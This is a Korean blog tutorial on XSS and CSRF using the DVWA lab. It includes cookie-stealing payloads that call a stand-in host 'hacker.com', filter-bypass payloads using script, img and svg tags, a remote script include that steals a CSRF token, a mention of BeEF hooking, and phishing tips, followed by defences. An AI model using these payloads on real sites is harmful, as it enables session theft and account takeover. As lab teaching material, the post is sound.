ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [웹해킹 #3] Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF)
    EVI$ION/WEB HACKING 2019. 5. 2. 02:35

    [크로스 사이트 스크립팅(XSS) 공격]

    XSS 공격이란, 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후, 사용자의 웹 브라우저에서 해당 코드가 실행되도록 하는 공격 기법이다. 즉, 서버의 취약점을 이용하여 클라이언트를 공격하는 방식으로, 자바 스크립트를 이용하여 세션 쿠키를 탈취할 수 있다.

     

    XSS 공격의 종류로는 Reflected XSS 공격과 Stored XSS 공격이 있다.

     

     

    자바 스크립트 (Java Script)

    • 웹 어플리케이션에서 사용되는 언어 중 하나
    • HTML이 텍스트, 이미지 등의 정적인 내용을 표시해주는 언어라면, 자바 스크립트는 이벤트와 같은 동적인 기능을 구현해주는 언어이다.
    • 구현 방법: <script>스크립트 코드</script>

     

     

    XSS 공격 자바 스크립트 코드

    <script>document.location='http://hacker.com/?'+document.cookie</script> // 원격지에서 쿠키를 탈취
    <script src=http://hacker.com/bad.js></script> // hacker.com에 있는 악성 스크립트를 가져와 실행

    여기서 document는 window(창) 내에 로드되는 객체로, 현재 위치를 나타낸다. 

     

    [Reflected XSS 공격]

    예를 들어, 공격자가 사용자에게 공격 스크립트가 포함된 URL을 메일로 전송했다고 가정한다. 메일을 받은 사용자가 URL을 클릭하면, 스크립트 코드가 삽입된 요청이 URL을 통해 서버로 전송되고, 서버는 해당 스크립트 코드가 포함된 응답을 클라이언트에게 전달한다.

     

    즉, 요청 메시지에 입력된 스크립트 코드가 바로 응답 메시지를 통해 출력되는 것이다. 서버로 전송된 스크립트 코드가 그대로 클라이언트에게 '반사(reflect)'되기 때문에 Reflected XSS 공격이라 불린다.

     

    Reflected XSS 공격은 이메일, 포털사이트의 게시판, SNS 등 공격자가 링크를 남길 수 있는 모든 곳에서 이루어질 수 있다.

     

     

    Reflected XSS 실습 - Low Level

     

    DVWA - Reflected XSS (Security Level: Low)

    이름 입력 칸에 정상적으로 이름을 입력하면, 이름과 함께 인사말이 출력된다.

    정상적인 입력

    그러나 아래와 같은 스크립트 코드를 입력하면, 스크립트 코드가 실행된다. 스크립트 코드가 그대로 실행된다는 사실을 통해 해당 웹페이지가 XSS 공격에 취약하다는 것을 알 수 있다.

    <script>alert(1)</script>
    <script>alert(document.cookie)</script>

    alert(1) 실행 후
    alert(document.cookie) 실행 후

     

    스크립트가 실행되는 것을 알았으니 이번엔 사용자의 쿠키를 탈취한 뒤 공격자가 관리하는 시스템으로 전송하는 XSS 공격을 시도해보자.

     

    먼저 터미널 창에서 tail -f /opt/lampp/logs/access_log라는 명령을 실행한다.

    access_log는 접근 로그를 기록하는 파일로, 웹 서버로 들어온 요청 정보가 기록된다.

    tail은 파일의 내용이 갱신될 때 새로 추가된 내용을 바로 출력해주는 명령어로, access_log의 내용이 갱신될 때(사용자가 새로 접근할 때) 해당 로그를 바로 출력해주는 역할을 한다.

    access_log

    다시 DVWA 페이지로 돌아와서, 아래 코드를 이름칸에 입력하여 제출한다. 이 코드는 해당 웹페이지에 접속한 사용자의 쿠키를 공격자에게 전송해주는 역할을 한다. document.location을 통해 지정한 위치(해커 사이트)로 리다이렉션되고, document.cookie를 통해 사용자의 쿠키가 해커 사이트에 출력된다.

    (이 실습에서 공격자는 로컬이기 때문에 주소를 http://127.0.0.1/로 설정하였다.)

    <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>

     

    XSS 공격 수행 결과, access_log가 갱신되어 쿠키값이 출력된 것을 확인할 수 있다.

    (웹 브라우저에서는 일부 특수문자를 URL 인코딩으로 자동 변환하기 때문에 코드 내 특수문자들은 모두 인코딩된 상태로 access_log에 저장된다.)

    XSS 공격 수행 후 갱신된 access_log

    만약 이보다 더 자세한 정보를 알고 싶다면 Burp Suite를 사용하면 된다.

     

     

    ※ 참고

     

    <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script> 수행 후 DVWA 페이지

    위의 스크립트 코드를 실행하면 DVWA 웹 페이지에서 에러가 나는데, 그 이유는 클라이언트에게 http://127.0.0.1(공격자)에 대한 쿠키가 없기 때문이다. 이처럼 리다이렉션을 이용한 공격은 사용자가 쉽게 눈치챌 수 있기 때문에 실제 해킹 과정에서는 자바 스크립트를 이용해 마치 아무 일도 없는 것처럼 사용자를 속이기도 한다.

     

     

    피싱 방법

     

    그런데 앞에서처럼 요청에 직접 스크립트 태그를 넣으면 사용자가 쉽게 알아챌 수 있기 때문에 피싱을 통해 사용자를 속여야 한다.

     

    Gmail을 이용하면 쉽게 피싱이 가능하다.

    Gmail - 링크 삽입

    메일을 받은 사용자가 click this!를 클릭하면 해당 주소로 이동하여 name 값이 바뀐다.

    메일 내 링크 클릭 후

     

     

     

     

    BeEF 공격 프레임워크

     

    웹페이지에 XSS 공격 취약점이 존재하면, 공격자는 세션을 탈취하는 것 이외에도 다양한 공격을 수행할 수 있다.

    BeEF는 브라우저 익스플로잇 프레임워크로, 자체적인 자바 스크립트 후킹 코드를 제공한다. 공격자가 BeEF에서 제공하는 후킹 코드를 사용자가 실행하도록 유도하면, BeEF는 그 사용자의 호스트를 대상으로 여러 가지 공격을 시도한다. 이 후킹 코드가 바로 hook.js 파일인데, 이 파일을 XSS 공격에 취약한 곳에 삽입하면 BeEF가 알아서 컨트롤해준다.

    (BeEF 기본 사용자 ID: beef, PW: beef)

    BeEF 실행 화면

     

     

    Reflected XSS 실습 - Medium Level

     

    Medium Level에서는 str_replace 함수를 사용해 <script> 문자열을 지움으로써 XSS 공격에 대비한다.

    DVWA - Reflected XSS (Security Level: Medium) - View Source

     

    그러나 <script>의 대소문자를 바꾸면 str_replace 함수는 이를 다른 문자로 인식하여 replace 대상에서 제외되므로 여전히 XSS 공격을 방어하지 못한다.

    <script>의 대소문자 변경
    XSS 공격 성공

     

     

    Reflected XSS 실습 - High Level

     

    High Level에서는 preg_replace 함수를 사용해 대소문자를 포함한 <script> 태그 사용을 막고 있다.

    DVWA - Reflected XSS (Security Level: High) - View Source

    그러나 XSS 공격으로 사용될 수 있는 태그는 <script> 외에도 img, svg onload 등 다양하게 존재한다. XSS 공격으로 사용될 수 있는 태그 종류 및 활용 방법은 XSS Cheat Sheet를 통해 확인할 수 있다.

     

    아래 코드는 각각 img 태그와 svg 태그를 이용한 XSS 공격 코드이다.

    <img src=x onerror=window.location.assign('http://127.0.0.1/hacked.php')>
    <svg onload=window.location.assign('http://127.0.0.1/hacked.php')>

     

     

    [Stored XSS 공격]

    Stored XSS 공격은 Reflected XSS 공격과 마찬가지로 스크립트가 웹 브라우저에서 실행되는 것은 동일하지만, 스크립트가 요청을 전송한 시점에 바로 반사되지 않고 일단 웹 서버에 저장되었다가 실행된다.

     

    예를 들어, 공격자가 스크립트 코드를 포함한 게시물을 방명록에 작성하면, 사용자는 이를 모른 채 방명록에 접속한다. 사용자가 방명록에 접근하는 순간, 삽입된 스크립트 코드가 사용자의 웹 브라우저에서 실행되어 세션 쿠키가 공격자에게 전송된다.

     

    Stored XSS 공격은 방명록, SNS 등을 통해 스크립트 코드를 웹 서버에 먼저 저장한 후에 공격하므로 Reflected XSS처럼 피싱 과정이 따로 필요하지 않고, 해당 페이지에 접속하는 모든 사용자가 공격 대상이 된다.

     

     

    Stored XSS 실습 - Low Level

     

    DVWA - Stored XSS (Security Level: Low)

    먼저 메시지 입력 창에 maxlength 제한이 걸려있기 때문에 스크립트 코드 삽입이 어려우므로 개발자 도구를 이용해 maxlength를 수정해준다.

    Message 박스 maxlength=50 → 200으로 수정

    그 다음, 방명록에 사용자 쿠키를 탈취하는 스크립트 코드를 작성한다. 글이 등록되면 바로 스크립트가 삽입된다.

    스크립트 코드가 삽입된 방명록이 요청될 때마다 로그가 생성되는데, 이는 Reflected XSS 공격과 마찬가지로 터미널에서 access_log를 통해 확인할 수 있다.

    갱신된 access_log에 저장된 쿠키

    ** Stored XSS 실습을 한 뒤에는 Setup/Reset DB 메뉴에서 DB를 초기화해주자.

     

     

    [XSS 공격 대응 방법]

    Impossible Level에서는 htmlspecialchars라는 함수를 이용하여 XSS 공격에 대비한다.

    DVWA - Reflected XSS (Security Level: Impossible)

    htmlspecialchars &, ", ', <, >와 같은 특수 문자들을 HTML 엔티티로 변환해주는 함수이다. 예를 들면 태그를 쓸 때 사용하는 특수 문자 중 하나인 < &lt로 변환된다. 이렇게 변환된 문자열들은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않기 때문에 공격자가 삽입한 스크립트 코드는 실행되지 않는다.

     

    대부분의 언어들은 이러한 처리 기능을 가진 내장 함수를 포함하여 XSS 공격을 방지한다.

     

     

    [CSRF (Cross-Site Request Forgery) 공격]

    공격자가 피싱을 통해 공격 대상인 사용자가 악성 링크에 접속하도록 유도하고, 링크를 클릭하면 사용자도 모르게 사용자가 로그인되어 있는 웹 사이트의 어떤 기능을 실행시키는 공격이다.

     

    CSRF 공격은 피싱을 이용하지만, 사용자가 피싱을 당하는 시점에 꼭 웹 사이트에 로그인되어 있어야 공격이 가능하다.

     

    예시를 통해 CSRF 공격이 이루어지는 과정을 알아보자.

    사용자는 A 사이트에 정상적으로 접속해 로그인을 한 상태이다. 이 때 공격자가 악성 링크를 삽입한 피싱 메일을 사용자에게 보낸다. 사용자는 별다른 의심 없이 메일에 있는 악성 링크를 클릭하게 되고, 클릭한 순간 사용자 모르게 패스워드 변경 요청이 전송된다. 공격자는 사용자의 패스워드를 본인도 모르게 변경하고, 변경된 패스워드를 이용해 사용자 계정으로 웹사이트에 접속한다.

     

     

    CSRF 공격 실습 - Low Level

     

    DVWA - CSRF (Security Level: Low)

    로그인이 되어있는 상태에서 password를 변경한 과정을 Burp Suite로 잡아보면 내가 변경한 password가 GET방식으로 전송되는 것을 확인할 수 있다. (원래는 user_token도 같이 보인다는데 난 보이지 않았다.) password 변경 요청 부분을 highlight 해준다. (우클릭 - Highlight)

     

    그 다음 https://github.com/SecuAcademy/webhacking에 있는 파일을 다운받은 후 압축을 풀어 csrf.html 파일을 /opt/lampp/htdocs에 복사한다.

    csrf.html 다운로드 후 복사

     

    csrf.html 파일의 내용을 보면, 변경할 password가 hacker로 되어있다.

    csrf.html 내용

     

    localhost로 csrf.html을 실행한 뒤 Burp Suite를 확인해보면 password가 hacker로 바뀌어있는 것을 확인할 수 있다. csrf.html이 실행된 부분도 Highlight로 표시해준다.

    localhost/csrf.html 실행

     

    Highlight된 두 부분을 Comparer로 보내 (send to comparer) 비교해본다. password 외에도 Referer header가 차이가 나는 것을 알 수 있다. Referer header는 해당 요청을 링크하고 있던 이전 웹페이지의 주소를 알려주는 헤더이다.

    (원래는 Origin header도 csrf.html 실행 부분에서 확인할 수 있는데 난 확인하지 못했다. Origin header는 접근 제어와 관련된 헤더이다.)

    Comparer

     

    CSRF 공격 실습 - Medium Level

     

    Medium Level에서는 eregi(pattern, string) 함수로 HTTP_REFERER에 SERVER_NAME이 포함되어 있는지를 확인하여, 만약 포함되어 있지 않다면 요청을 실행하지 않는다. 즉, 요청 메시지의 Referer header를 검사함으로써, 웹 메일이나 타 사이트에서 피싱을 당해 전송되는 요청이 실행되는 것을 방지하는 것이다.

    DVWA - CSRF (Security Level: Medium) - View Source

     

    그러나 이 방식에는 csrf 공격이 해커 사이트가 아닌 웹 서버 자체에서 실행될 경우 소스코드를 우회할 수 있다는 문제점이 있다. 단순히 서버 주소가 포함되기만 하면 되므로 파일 이름 자체에 서버 주소를 넣어버리면 된다.

     

    실습의 경우 csrf.html 파일을 그대로 사용하지 않고 csrf_localhost.html로 이름만 바꿔서 실행하면 위 소스코드의 if문을 통과할 수 있다.

    csrf.html 파일 이름에 localhost 추가

     

    CSRF 공격 실습 - High Level

     

    High Level에서는 CSRF token 값을 검사함으로써 CSRF 공격을 방지한다.

    DVWA - CSRF (Security Level: High) - View Source

    웹 어플리케이션은 CSRF token을 매 응답마다 랜덤하게 생성하여 hidden 폼 필드를 통해 클라이언트에게 전송하고, 클라이언트는 이전 응답 메시지에 포함된 token 값을 다음 요청 때 포함하여 전송한다. 웹 어플리케이션은 클라이언트에게 받은 요청에 포함된 CSRF token 값을 검산하여 정상적인 클라이언트로부터 온 요청이 맞는지 확인한다.

     

    그러나 이 방식 또한 CSRF 공격을 완전히 막아내지 못한다. CSRF token을 알아낸 뒤 위장을 해서 요청을 보내면 되기 때문이다.

     

    그럼 CSRF token을 알아내보자.

    먼저 아까 다운받은 webhacking-master에서 csrfhigh.js 파일을 /opt/lampp/htdocs 폴더에 복사하여 저장한다.

    그 다음, Security Level을 Low로 변경하여 XSS(Stored)에 들어가서 아래와 같은 스크립트 코드를 입력한다.

    <script src=http://127.0.0.1/csrfhigh.js></script>

     

    다시 Security Level을 High로 변경한 뒤 XSS(Stored)로 들어가면 csrfhigh.js가 실행되어 token을 보여준다. 이 token은 XSS(Stored)에 재접속할 때마다 변경된다.

    첫 번째 방문 시의 token
    두 번째 방문한 뒤의 token

    로그아웃을 한 뒤 admin의 원래 비밀번호였던 password를 입력하면 로그인이 되지 않고, hacker를 입력해야 로그인이 된다. 

    패스워드가 hacker로 변경됨

     

    [CSRF 공격 대응 방법]

    Impossible Level에서는 기존의 패스워드를 다시 한 번 입력받아 사용자 본인이 직접 기능을 실행하는지 확인함으로써 CSRF 공격을 방지한다.

    DVWA - CSRF (Security Level: Impossible)

     

    또 다른 대응 방법으로는 CAPTCHA를 이용한 방법이 있다.

    'EVI$ION > WEB HACKING' 카테고리의 다른 글

    [SQL Injection] 필터링 우회 방법 모음  (0) 2019.07.22
    [웹해킹 #2] SQL Injection  (1) 2019.04.09
    [웹해킹 #1] 웹의 기초, DVWA 실습  (0) 2019.03.20
Designed by Tistory.